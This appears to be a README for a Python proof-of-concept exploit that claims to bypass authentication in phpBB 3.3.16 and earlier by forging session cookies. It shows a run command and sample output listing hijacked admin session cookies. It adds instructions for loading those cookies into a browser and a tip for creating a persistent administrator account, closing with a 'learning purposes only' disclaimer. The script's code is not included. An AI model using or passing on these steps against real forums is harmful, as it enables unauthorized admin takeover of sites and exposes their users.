Python proof-of-concept exploit that bypasses authentication in phpBB 3.3.16 and below by forging session cookies to gain admin access.
Bypass Authentication
simple poc bypass auth if you want to access via browser don't forget to change USER_AGENT variable in script according to what is displayed in your browser so it can work. use cookie editor to replace value *_sid and *_u
phpbb python3 exploit.py https://localhost:8000 joushk
[+] Target: https://localhost:8000
[+] Target username: joushk
[+] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
[+] Session cookies obtained:
phpbb3_cl7ge_u: 2
phpbb3_cl7ge_k:
phpbb3_cl7ge_sid: 4823a1ffeea59187eb31be1809ec0fd3
[+] User ID: 2
[!] User ID is 2 – default admin account.
[!] EXPLOIT SUCCESSFUL!
[!] You now have admin access.
[!] Note: ACP may still ask for password if re-authentication is enabled.
[+] tips: new create user and add to administrator group using bypass account auth and login to ACP Successd
[!!!This script is for learning purposes only]